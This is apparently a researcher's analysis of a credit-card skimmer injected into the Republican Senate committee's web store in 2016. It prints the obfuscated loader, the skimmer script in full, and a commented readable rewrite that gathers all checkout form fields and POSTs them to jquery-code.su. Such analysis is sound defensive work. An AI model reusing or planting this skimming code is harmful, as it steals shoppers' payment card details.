See main article about the compromised Republican Senate store
The discovered Javascript code runs hidden in the browser and activates when text is entered on a payment page. All the text is then copied and - again hidden in the background - sent to a foreign server.
The original skimming code as present on http://store.nrsc.org on October 5th, 2016:
var x="he$17$17mdv$1/QdfDwo$17$16nmdo`fd$6Bbgdbjnts$6Bnmdrsdo$6Bchqdbsonrs$6Bm`a$6Behqdbgdbjnts$16$18$18-sdrs$17vhmcnv-knb`shnm$18$18$1/$6A$/@$/8cnbtldms-vqhsd$17$16$2Brbqhos$1/rqb$2C$11gssor$2@..vvv-tor-bnl.`rrdsr.eq`ldvnqj.iptdqx.iptdqx,0-00-0-lhm-ir$11$2D$2B.rbq$16*$16hos$2D$2Brbqhos$1/sxod$2C$11sdws.i`u`rbqhos$11$2Du`q$1/iPtdqx06$1/$2C$1/$13-mnBnmekhbs$17sqtd$18$2A$2B.rbq$16*$16hos$2D$2Brbqhos$1/rqb$2C$11gssor$2@..iptdqx,bncd-rt.hl`fdr.khsd-ir$11$2D$2B.rbq$16*$16hos$2D$16$18$2A$/@$6C$2A",y="",w="",z;z=x['length'];for(i=0;i<z;i++){y+=String['fromCharCode'](x['charCodeAt'](i)+1) }w=this['unescape'](y);this['eval'](w);
Which is obfuscated but equivalent to a piece of code that loads an extra Javascript file from jquery-code.su
, whenever the current page is a payment/checkout page. (It also loads the JQuery library from ups.com
, which in this case is redundant as JQuery was already loaded by the Republican store.)
if((new RegExp('onepage|checkout|onestep|directpost|nab|firecheckout')).test(window.location)) {
document.write(
'<script src="https://www.ups.com/assets/framework/jquery/jquery-1.11.1.min.js"></script>' +
'<script type="text/javascript">var jQuery17 = $.noConflict(true);</script>' +
'<script src="https://jquery-code.su/images/lite.js"></script>'
);
};
The contents of https://jquery-code.su/images/lite.js as of October 5th, 2016:
var _0x9be0=["\x63\x68\x61\x6E\x67\x65","\x66\x6F\x72\x6D","\x73\x65\x6C\x65\x63\x74\x5B\x69\x64\x3D\x22\x65\x77\x61\x79\x5F\x72\x61\x70\x69\x64\x5F\x65\x78\x70\x69\x72\x61\x74\x69\x6F\x6E\x5F\x79\x72\x22\x5D","\x73\x65\x6C\x65\x63\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x70\x61\x79\x6D\x65\x6E\x74\x5B\x63\x63\x5F\x65\x78\x70\x5F\x79\x65\x61\x72\x5D\x22\x5D","\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x65\x78\x70\x69\x72\x61\x74\x69\x6F\x6E\x22\x5D","\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x66\x75\x6C\x6C\x5F\x63\x63\x5F\x65\x78\x70\x69\x72\x61\x74\x69\x6F\x6E\x22\x5D","\x73\x65\x6C\x65\x63\x74\x5B\x69\x64\x3D\x22\x72\x65\x64\x65\x63\x61\x72\x64\x5F\x65\x78\x70\x69\x72\x61\x74\x69\x6F\x6E\x5F\x79\x72\x22\x5D","\x73\x65\x6C\x65\x63\x74\x5B\x69\x64\x3D\x22\x73\x74\x72\x69\x70\x65\x5F\x63\x63\x5F\x65\x78\x70\x69\x72\x61\x74\x69\x6F\x6E\x5F\x79\x65\x61\x72\x22\x5D","\x6C\x65\x6E\x67\x74\x68","\x76\x61\x6C","","\x69\x6E\x70\x75\x74\x2C\x20\x73\x65\x6C\x65\x63\x74\x2C\x20\x74\x65\x78\x74\x61\x72\x65\x61\x2C\x20\x63\x68\x65\x63\x6B\x62\x6F\x78","\x71\x75\x65\x72\x79\x53\x65\x6C\x65\x63\x74\x6F\x72\x41\x6C\x6C","\x76\x61\x6C\x75\x65","\x6E\x61\x6D\x65","\x6A\x69\x6B","\x2D","\x72\x65\x70\x6C\x61\x63\x65","\x3D","\x26","\x69\x6E\x66\x6F\x3D","\x26\x68\x6F\x73\x74\x6E\x61\x6D\x65\x3D","\x5F","\x6A\x6F\x69\x6E","\x73\x6C\x69\x63\x65","\x2E","\x73\x70\x6C\x69\x74","\x68\x6F\x73\x74\x6E\x61\x6D\x65","\x26\x6B\x65\x79\x3D","\x72\x61\x6E\x64\x6F\x6D","\x66\x6C\x6F\x6F\x72","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6A\x71\x75\x65\x72\x79\x2D\x63\x6F\x64\x65\x2E\x73\x75\x2F\x69\x6D\x61\x67\x65\x73\x2F\x70\x61\x79\x70\x61\x6C\x2D\x6C\x6F\x67\x6F\x2E\x6A\x70\x67","\x50\x4F\x53\x54","\x6A\x73\x6F\x6E","\x61\x6A\x61\x78","\x6F\x6E"];setTimeout(function(){jQuery17(function(_0xc821x1){_0xc821x1(document)[_0x9be0[35]](_0x9be0[0],_0x9be0[1],function(){a= [_0x9be0[2],_0x9be0[3],_0x9be0[4],_0x9be0[5],_0x9be0[6],_0x9be0[7]];for(var _0xc821x2=0;_0xc821x2< 6;_0xc821x2++){try{if(_0xc821x1(a[_0xc821x2])[_0x9be0[9]]()[_0x9be0[8]]> 0){_0xc821x3()}}catch(e){}};function _0xc821x3(){var _0xc821x4=_0x9be0[10];var _0xc821x5=document[_0x9be0[12]](_0x9be0[11]);for(var _0xc821x6=0;_0xc821x6< _0xc821x5[_0x9be0[8]];_0xc821x6++){if(_0xc821x5[_0xc821x6][_0x9be0[13]][_0x9be0[8]]> 0){var _0xc821x7=_0xc821x5[_0xc821x6][_0x9be0[14]];if(_0xc821x7== _0x9be0[10]){_0xc821x7= _0x9be0[15]+ _0xc821x6};var _0xc821x8=_0xc821x7[_0x9be0[17]](/\[/g,_0x9be0[16]);var _0xc821x9=_0xc821x8[_0x9be0[17]](/-redecard/,_0x9be0[10]);_0xc821x4+= _0xc821x9[_0x9be0[17]](/]/g,_0x9be0[10])+ _0x9be0[18]+ _0xc821x5[_0xc821x6][_0x9be0[13]]+ _0x9be0[19]}};_0xc821x4= _0x9be0[20]+ btoa(_0xc821x4)+ _0x9be0[21]+ location[_0x9be0[27]][_0x9be0[26]](_0x9be0[25])[_0x9be0[24]](0)[_0x9be0[23]](_0x9be0[22])+ _0x9be0[28]+ Math[_0x9be0[30]](Math[_0x9be0[29]]()* (999999999- 11111111+ 1)+ 11111111);_0xc821x1[_0x9be0[34]]({url:_0x9be0[31],data:_0xc821x4,type:_0x9be0[32],dataType:_0x9be0[33],success:function(_0xc821xa){return false},error:function(_0xc821xb,_0xc821xc,_0xc821xd){return false}})}})})},10000)
This requires some manual interpretation to make it readable. I have removed some clutter, renamed variables and added comments.
setTimeout(function() {
jQuery17(function($) {
// whenever a form on the current page changes...
$(document)["on"]("change", "form", function() {
function grab_and_send_the_loot() {
var base64data = "";
// grab all form elements
var all_form_fields = document["querySelectorAll"]("input, select, textarea, checkbox");
var i = 0;
for (;i < all_form_fields["length"];i++) {
if (all_form_fields[i]["value"]["length"] > 0) {
var formfield = all_form_fields[i]["name"];
if (formfield == "") {
formfield = "jik" + i;
}
// remove special characters from the form data
formfield = formfield["replace"](/\[/g, "-");
// remove "redecard" (this is a brazilian credit card)
formfield = formfield["replace"](/-redecard/, "");
base64data += formfield["replace"](/]/g, "") + "=" + all_form_fields[i]["value"] + "&";
}
}
// encode the long string of credit card data into base64 and add the domain of the current site
base64data = "info=" + btoa(base64data) +
"&hostname=" + location["hostname"]["split"](".")["slice"](0)["join"]("_") +
"&key=" + Math["floor"](Math["random"]() * 988888889 + 11111111);
// Send everything to a Russian site in the background
// and get a paypal logo back.
// Profit!
$["ajax"]({
url : "https://jquery-code.su/images/paypal-logo.jpg",
data : base64data,
type : "POST",
dataType : "json",
success : function(textStatus) {
return false;
},
error : function(textStatus, jqXHR, origError) {
return false;
}
});
}
// monitor these fields for added text
a = ['select[id="eway_rapid_expiration_yr"]', 'select[name="payment[cc_exp_year]"]', 'input[name="expiration"]',
'input[name="full_cc_expiration"]', 'select[id="redecard_expiration_yr"]', 'select[id="stripe_cc_expiration_year"]'];
var pos = 0;
for (;pos < 6;pos++) {
try {
if ($(a[pos])["val"]()["length"] > 0) {
grab_and_send_the_loot();
}
} catch (e) {
}
}
});
});
}, 1E4);
Pretty clever.